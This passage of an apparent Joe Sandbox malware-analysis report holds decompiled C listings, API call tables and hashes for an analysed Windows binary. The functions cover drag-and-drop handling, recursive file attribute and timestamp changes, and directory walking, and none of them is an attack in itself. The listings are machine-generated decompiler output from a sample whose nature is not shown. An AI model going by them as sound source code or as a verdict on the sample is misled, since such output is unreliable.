                                                                                                                                                                            • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                                            • GetFocus.USER32 ref: 004696E0
                                                                                                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                                            • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePost$CtrlFocus
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 1534620443-4108050209
                                                                                                                                                                            • Opcode ID: e5f63ac231ca47fc2bd243434f5567c1c0531bb7a2d64173a59f9209ea3c425d
                                                                                                                                                                            • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                                            • Opcode Fuzzy Hash: e5f63ac231ca47fc2bd243434f5567c1c0531bb7a2d64173a59f9209ea3c425d
                                                                                                                                                                            • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfilenativeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 76%
                                                                                                                                                                            			E0046F2B0(void* __eflags, intOrPtr _a4, void* _a8) {
				void* _v544;
				void* _v548;
				void* _v552;
				struct tagPOINT _v556;
				intOrPtr _v564;
				void* _v568;
				intOrPtr _v572;
				char _v584;
				signed int _v588;
				signed int _v596;
				int _v600;
				int _v608;
				void* _v612;
				int _v616;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t60;
				void* _t61;
				signed int _t65;
				struct HWND__** _t67;
				int _t70;
				void* _t104;
				int _t106;
				intOrPtr _t113;
				intOrPtr _t122;
				intOrPtr _t127;
				intOrPtr _t141;
				intOrPtr _t148;
				struct HWND__* _t150;
				signed int _t158;
				void* _t160;

				_t160 = (_t158 & 0xfffffff8) - 0x25c;
				_t148 = _a4;
				_t61 = E004340B2(_t60, 0x4a83d8, _t148);
				_t104 = _a8;
				_v612 = _t61;
				DragQueryPoint(_t104,  &_v556);
				_push(_v552);
				_push(_v556);
				_push( &_v612);
				_t65 = E00441CB4( &_v612);
				_t127 =  *0x4a8438; // 0x0
				_v596 = _t65;
				_v572 =  *((intOrPtr*)( *((intOrPtr*)(_t127 + _v624 * 4))));
				if(_t65 == 0xffffffff) {
					L11:
					return  *0x48254c(_t148, 0x233, _t104, 0);
				} else {
					_t113 =  *0x4a844c; // 0x2f019d0
					_t67 =  *( *(_t113 + _t65 * 4));
					if((_t67[0x22] & 0x00000008) == 0) {
						goto L11;
					} else {
						_t150 =  *_t67;
						_t141 =  *0x482650;
						_v612 = 0;
						SendMessageW(_t150, 0xb0,  &_v568,  &_v552);
						_t70 = DragQueryFileW(_t104, 0xffffffff, 0, 0);
						_t106 = 0;
						_v616 = _t70;
						if(_t70 > 0) {
							do {
								DragQueryFileW(_a8, _t106,  &_v544, 0x104);
								_t122 =  *0x4a844c; // 0x2f019d0
								if( *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + _v588 * 4)))) + 0x88)) != 2) {
									__eflags = _t106 - _v616 - 1;
									if(_t106 < _v616 - 1) {
										_push("|");
										_push( &_v544);
										goto L8;
									}
								} else {
									_push(L"\r\n");
									_push( &_v544);
									L8:
									E00411663();
									_t160 = _t160 + 8;
								}
								SendMessageW(_t150, 0xc2, 1,  &_v544);
								SendMessageW(_t150, 0xb0,  &_v548,  &_v612);
								SendMessageW(_t150, 0xb1, _v612, _v612);
								_t106 = _t106 + 1;
							} while (_t106 < _v616);
						}
						SendMessageW(_t150, 0xb1, _v568, _v612);
						DragFinish(_a8);
						_v608 = 0;
						_v600 = 1;
						_v596 = 0;
						E004092C0(_t141,  &_v608);
						_v600 = 1;
						_v608 = _v588;
						E00401B70(1, L"@GUI_DROPID",  &_v584, 0);
						E004019E0(2, 1,  &_v608,  &_v584);
						E00402620( &_v584);
						E004092C0(L"@GUI_DROPID",  &_v608);
						_v600 = 1;
						_v608 = 0xffffffff;
						E00401B70(1, L"@GUI_DRAGID",  &_v584, 0);
						E004019E0(2, 1,  &_v608,  &_v584);
						E00402620( &_v584);
						E0040E6D0( &_v608, 0);
						E00401B70( &_v608, L"@GUI_DRAGFILE",  &_v584, 0);
						E004019E0(2, 1,  &_v608,  &_v584);
						E00402620( &_v584);
						_push(0);
						_push(0);
						E00451AA9( &_v584, 0, 0x4a83d8, 0xfffffff3, _v564);
						return E004092C0(L"@GUI_DRAGFILE",  &_v608);
					}
				}
			}




































                                                                                                                                                                            0x0046f2b6
                                                                                                                                                                            0x0046f2be
                                                                                                                                                                            0x0046f2c8
                                                                                                                                                                            0x0046f2cd
                                                                                                                                                                            0x0046f2d0
                                                                                                                                                                            0x0046f2da
                                                                                                                                                                            0x0046f2e8
                                                                                                                                                                            0x0046f2e9
                                                                                                                                                                            0x0046f2ee
                                                                                                                                                                            0x0046f2ef
                                                                                                                                                                            0x0046f2f4
                                                                                                                                                                            0x0046f303
                                                                                                                                                                            0x0046f307
                                                                                                                                                                            0x0046f30e
                                                                                                                                                                            0x0046f4f3
                                                                                                                                                                            0x0046f508
                                                                                                                                                                            0x0046f314
                                                                                                                                                                            0x0046f314
                                                                                                                                                                            0x0046f31d
                                                                                                                                                                            0x0046f326
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f32c
                                                                                                                                                                            0x0046f32c
                                                                                                                                                                            0x0046f32e
                                                                                                                                                                            0x0046f344
                                                                                                                                                                            0x0046f34c
                                                                                                                                                                            0x0046f355
                                                                                                                                                                            0x0046f35b
                                                                                                                                                                            0x0046f35d
                                                                                                                                                                            0x0046f363
                                                                                                                                                                            0x0046f370
                                                                                                                                                                            0x0046f37f
                                                                                                                                                                            0x0046f385
                                                                                                                                                                            0x0046f39b
                                                                                                                                                                            0x0046f3ae
                                                                                                                                                                            0x0046f3b0
                                                                                                                                                                            0x0046f3b2
                                                                                                                                                                            0x0046f3bb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f3bb
                                                                                                                                                                            0x0046f39d
                                                                                                                                                                            0x0046f39d
                                                                                                                                                                            0x0046f3a6
                                                                                                                                                                            0x0046f3bc
                                                                                                                                                                            0x0046f3bc
                                                                                                                                                                            0x0046f3c1
                                                                                                                                                                            0x0046f3c1
                                                                                                                                                                            0x0046f3d1
                                                                                                                                                                            0x0046f3e3
                                                                                                                                                                            0x0046f3f1
                                                                                                                                                                            0x0046f3f3
                                                                                                                                                                            0x0046f3f4
                                                                                                                                                                            0x0046f370
                                                                                                                                                                            0x0046f40e
                                                                                                                                                                            0x0046f414
                                                                                                                                                                            0x0046f425
                                                                                                                                                                            0x0046f429
                                                                                                                                                                            0x0046f42d
                                                                                                                                                                            0x0046f431
                                                                                                                                                                            0x0046f443
                                                                                                                                                                            0x0046f447
                                                                                                                                                                            0x0046f44b
                                                                                                                                                                            0x0046f459
                                                                                                                                                                            0x0046f460
                                                                                                                                                                            0x0046f469
                                                                                                                                                                            0x0046f477
                                                                                                                                                                            0x0046f47b
                                                                                                                                                                            0x0046f483
                                                                                                                                                                            0x0046f491
                                                                                                                                                                            0x0046f498
                                                                                                                                                                            0x0046f4a5
                                                                                                                                                                            0x0046f4b3
                                                                                                                                                                            0x0046f4c2
                                                                                                                                                                            0x0046f4c9
                                                                                                                                                                            0x0046f4d2
                                                                                                                                                                            0x0046f4d4
                                                                                                                                                                            0x0046f4de
                                                                                                                                                                            0x0046f4f0
                                                                                                                                                                            0x0046f4f0
                                                                                                                                                                            0x0046f326

                                                                                                                                                                            APIs
                                                                                                                                                                            • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                                              • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                              • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                              • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                            • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                                            • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                                            • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                                            • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                                            • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Drag$Query$FileRect$ClientDialogFinishNtdllPointProc_ScreenWindow_wcscat
                                                                                                                                                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                            • API String ID: 463080802-3440237614
                                                                                                                                                                            • Opcode ID: 21e723686adaaae76799126148fe52d6047df7c410e8070ac8fc7b2ba0157983
                                                                                                                                                                            • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                                            • Opcode Fuzzy Hash: 21e723686adaaae76799126148fe52d6047df7c410e8070ac8fc7b2ba0157983
                                                                                                                                                                            • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00434BEE(intOrPtr __ecx, WCHAR* _a4, signed int _a8, signed int _a12, char _a16) {
				struct _WIN32_FIND_DATAW _v596;
				intOrPtr _v600;
				void* _t33;
				void* _t34;
				void* _t43;
				void* _t46;
				void* _t55;
				void* _t77;
				void* _t83;
				signed int _t89;
				void* _t91;

				_t91 = (_t89 & 0xfffffff8) - 0x254;
				_v600 = __ecx;
				_t55 = 0;
				_t83 = FindFirstFileW(_a4,  &_v596);
				if(_t83 == 0xffffffff) {
					L7:
					FindClose(_t83);
					if(_a16 != 0) {
						_t77 = FindFirstFileW(L"*.*",  &_v596);
						if(_t77 == 0xffffffff) {
							L18:
							FindClose(_t77);
							return 1;
						} else {
							do {
								if((_v596.dwFileAttributes & 0x00000010) == 0) {
									goto L17;
								} else {
									_t33 = E004133E4( &(_v596.cFileName), ".");
									_t91 = _t91 + 8;
									if(_t33 == 0) {
										goto L17;
									} else {
										_t34 = E004133E4( &(_v596.cFileName), L"..");
										_t91 = _t91 + 8;
										if(_t34 == 0) {
											goto L17;
										} else {
											SetCurrentDirectoryW( &(_v596.cFileName));
											if(E00434BEE(_v600, _a4, _a8, _a12, _a16) == 0) {
												FindClose(_t77);
												return 0;
											} else {
												SetCurrentDirectoryW(L"..");
												goto L17;
											}
										}
									}
								}
								goto L20;
								L17:
							} while (FindNextFileW(_t77,  &_v596) != 0);
							goto L18;
						}
					} else {
						return _t55;
					}
				} else {
					do {
						_t43 = E004133E4( &(_v596.cFileName), ".");
						_t91 = _t91 + 8;
						if(_t43 == 0) {
							goto L6;
						} else {
							_t46 = E004133E4( &(_v596.cFileName), L"..");
							_t91 = _t91 + 8;
							if(_t46 == 0) {
								goto L6;
							} else {
								if(SetFileAttributesW( &(_v596.cFileName), (GetFileAttributesW( &(_v596.cFileName)) | _a8) &  !_a12) == 0) {
									FindClose(_t83);
									return 0;
								} else {
									_t55 = 1;
									goto L6;
								}
							}
						}
						goto L20;
						L6:
					} while (FindNextFileW(_t83,  &_v596) != 0);
					goto L7;
				}
				L20:
			}














                                                                                                                                                                            0x00434bf4
                                                                                                                                                                            0x00434c07
                                                                                                                                                                            0x00434c10
                                                                                                                                                                            0x00434c14
                                                                                                                                                                            0x00434c19
                                                                                                                                                                            0x00434c81
                                                                                                                                                                            0x00434c88
                                                                                                                                                                            0x00434c8e
                                                                                                                                                                            0x00434cb9
                                                                                                                                                                            0x00434cbe
                                                                                                                                                                            0x00434d34
                                                                                                                                                                            0x00434d35
                                                                                                                                                                            0x00434d3f
                                                                                                                                                                            0x00434cc0
                                                                                                                                                                            0x00434cc6
                                                                                                                                                                            0x00434ccb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434ccd
                                                                                                                                                                            0x00434cd7
                                                                                                                                                                            0x00434cdc
                                                                                                                                                                            0x00434ce1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434ce3
                                                                                                                                                                            0x00434ced
                                                                                                                                                                            0x00434cf2
                                                                                                                                                                            0x00434cf7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434cf9
                                                                                                                                                                            0x00434cfe
                                                                                                                                                                            0x00434d1b
                                                                                                                                                                            0x00434d43
                                                                                                                                                                            0x00434d4d
                                                                                                                                                                            0x00434d1d
                                                                                                                                                                            0x00434d22
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434d22
                                                                                                                                                                            0x00434d1b
                                                                                                                                                                            0x00434cf7
                                                                                                                                                                            0x00434ce1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434d24
                                                                                                                                                                            0x00434d30
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434cc6
                                                                                                                                                                            0x00434c90
                                                                                                                                                                            0x00434c98
                                                                                                                                                                            0x00434c98
                                                                                                                                                                            0x00434c1e
                                                                                                                                                                            0x00434c1e
                                                                                                                                                                            0x00434c28
                                                                                                                                                                            0x00434c2d
                                                                                                                                                                            0x00434c32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434c34
                                                                                                                                                                            0x00434c3e
                                                                                                                                                                            0x00434c43
                                                                                                                                                                            0x00434c48
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434c4a
                                                                                                                                                                            0x00434c6d
                                                                                                                                                                            0x00434c9c
                                                                                                                                                                            0x00434caa
                                                                                                                                                                            0x00434c6f
                                                                                                                                                                            0x00434c6f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434c6f
                                                                                                                                                                            0x00434c6d
                                                                                                                                                                            0x00434c48
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434c71
                                                                                                                                                                            0x00434c7d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434c1e
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                                            • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 1409584000-438819550
                                                                                                                                                                            • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                            • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                                            • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                            • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00442E1F Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 134fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00442E1F(void* __ecx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, char _a16) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t30;
				void* _t31;
				void* _t40;
				void* _t43;
				void* _t45;
				void* _t48;
				void* _t64;
				void* _t65;
				void* _t67;
				struct _WIN32_FIND_DATAW* _t68;

				_t68 =  &_v596;
				_t67 = __ecx;
				_t48 = 0;
				_t65 = FindFirstFileW(_a4,  &_v596);
				if(_t65 == 0xffffffff) {
					L7:
					FindClose(_t65);
					if(_a16 != 0) {
						_t64 = FindFirstFileW(L"*.*",  &_v596);
						if(_t64 == 0xffffffff) {
							L18:
							FindClose(_t64);
							return 1;
						} else {
							do {
								if((_v596.dwFileAttributes & 0x00000010) == 0) {
									goto L17;
								} else {
									_t30 = E004133E4( &(_v596.cFileName), ".");
									_t68 =  &(_t68->ftCreationTime.dwHighDateTime);
									if(_t30 == 0) {
										goto L17;
									} else {
										_t31 = E004133E4( &(_v596.cFileName), L"..");
										_t68 =  &(_t68->ftCreationTime.dwHighDateTime);
										if(_t31 == 0) {
											goto L17;
										} else {
											SetCurrentDirectoryW( &(_v596.cFileName));
											if(E00442E1F(_t67, _a4, _a8, _a12, _a16) == 0) {
												FindClose(_t64);
												return 0;
											} else {
												SetCurrentDirectoryW(L"..");
												goto L17;
											}
										}
									}
								}
								goto L20;
								L17:
							} while (FindNextFileW(_t64,  &_v596) != 0);
							goto L18;
						}
					} else {
						return _t48;
					}
				} else {
					do {
						_t40 = E004133E4( &(_v596.cFileName), ".");
						_t68 =  &(_t68->ftCreationTime.dwHighDateTime);
						if(_t40 == 0) {
							goto L6;
						} else {
							_t43 = E004133E4( &(_v596.cFileName), L"..");
							_t68 =  &(_t68->ftCreationTime.dwHighDateTime);
							if(_t43 == 0) {
								goto L6;
							} else {
								_t45 = E00436D2D( &(_v596.cFileName), _a8, _a12);
								_t68 =  &(_t68->ftLastAccessTime);
								if(_t45 == 0) {
									FindClose(_t65);
									return 0;
								} else {
									_t48 = 1;
									goto L6;
								}
							}
						}
						goto L20;
						L6:
					} while (FindNextFileW(_t65,  &_v596) != 0);
					goto L7;
				}
				L20:
			}














                                                                                                                                                                            0x00442e1f
                                                                                                                                                                            0x00442e33
                                                                                                                                                                            0x00442e3e
                                                                                                                                                                            0x00442e42
                                                                                                                                                                            0x00442e47
                                                                                                                                                                            0x00442eae
                                                                                                                                                                            0x00442eb5
                                                                                                                                                                            0x00442ebf
                                                                                                                                                                            0x00442ef2
                                                                                                                                                                            0x00442ef7
                                                                                                                                                                            0x00442f7f
                                                                                                                                                                            0x00442f80
                                                                                                                                                                            0x00442f8e
                                                                                                                                                                            0x00442efd
                                                                                                                                                                            0x00442f03
                                                                                                                                                                            0x00442f08
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f0a
                                                                                                                                                                            0x00442f14
                                                                                                                                                                            0x00442f19
                                                                                                                                                                            0x00442f1e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f20
                                                                                                                                                                            0x00442f2a
                                                                                                                                                                            0x00442f2f
                                                                                                                                                                            0x00442f34
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f36
                                                                                                                                                                            0x00442f3b
                                                                                                                                                                            0x00442f66
                                                                                                                                                                            0x00442f92
                                                                                                                                                                            0x00442fa0
                                                                                                                                                                            0x00442f68
                                                                                                                                                                            0x00442f6d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f6d
                                                                                                                                                                            0x00442f66
                                                                                                                                                                            0x00442f34
                                                                                                                                                                            0x00442f1e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f6f
                                                                                                                                                                            0x00442f7b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442f03
                                                                                                                                                                            0x00442ec1
                                                                                                                                                                            0x00442ecd
                                                                                                                                                                            0x00442ecd
                                                                                                                                                                            0x00442e4f
                                                                                                                                                                            0x00442e4f
                                                                                                                                                                            0x00442e59
                                                                                                                                                                            0x00442e5e
                                                                                                                                                                            0x00442e63
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442e65
                                                                                                                                                                            0x00442e6f
                                                                                                                                                                            0x00442e74
                                                                                                                                                                            0x00442e79
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442e7b
                                                                                                                                                                            0x00442e90
                                                                                                                                                                            0x00442e95
                                                                                                                                                                            0x00442e9a
                                                                                                                                                                            0x00442ed1
                                                                                                                                                                            0x00442ee3
                                                                                                                                                                            0x00442e9c
                                                                                                                                                                            0x00442e9c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442e9c
                                                                                                                                                                            0x00442e9a
                                                                                                                                                                            0x00442e79
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442e9e
                                                                                                                                                                            0x00442eaa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442e4f
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,766861D0,766861D0,?,?,00000000), ref: 00442E40
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 00442EA4
                                                                                                                                                                            • FindClose.KERNEL32(00000000,?,00000000), ref: 00442EB5
                                                                                                                                                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00442ED1
                                                                                                                                                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 00442EF0
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00442F3B
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(0048A090,?,?,?,00000000), ref: 00442F6D
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00442F75
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00442F80
                                                                                                                                                                              • Part of subcall function 00436D2D: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,766DF8A0,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                            • FindClose.KERNEL32(00000000,?,?,?,00000000), ref: 00442F92
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 2640511053-438819550
                                                                                                                                                                            • Opcode ID: 9379a40a392f11a7e453a238fddec55769e51d026bd73d4c4d0da232c8837110
                                                                                                                                                                            • Instruction ID: 5fd3b3f399b1dfd6b0a62b5043663bf11a2259675d3c80dc16c90576bc2ddb84
                                                                                                                                                                            • Opcode Fuzzy Hash: 9379a40a392f11a7e453a238fddec55769e51d026bd73d4c4d0da232c8837110
                                                                                                                                                                            • Instruction Fuzzy Hash: 0F41E8326083046BD620FA64DD85BEFB3A89BC5311F54492FF95483280E7FEA50D8779
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044BF8D Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E0044BF8D(void* __edx, void* __eflags, void* _a4) {
				char _v524;
				char _v1044;
				char _v1564;
				struct _WIN32_FIND_DATAW _v2156;
				short _v2684;
				char _v2692;
				char _v2693;
				void* __ebx;
				void* __ebp;
				void* _t29;
				void* _t47;
				char _t48;
				void* _t65;
				void* _t68;
				signed int _t69;
				void* _t72;
				void* _t73;

				_push(_t47);
				_v2693 = 0;
				E0040FFB0( &_v2684, _t47, __edx, _t68);
				_t29 = E00436AC4( &_v2684);
				_t72 = (_t69 & 0xfffffff8) - 0xa88 + 4;
				if(_t29 != 0) {
					E00411663( &_v2684, L"\\*.*");
					_t72 = _t72 + 8;
				}
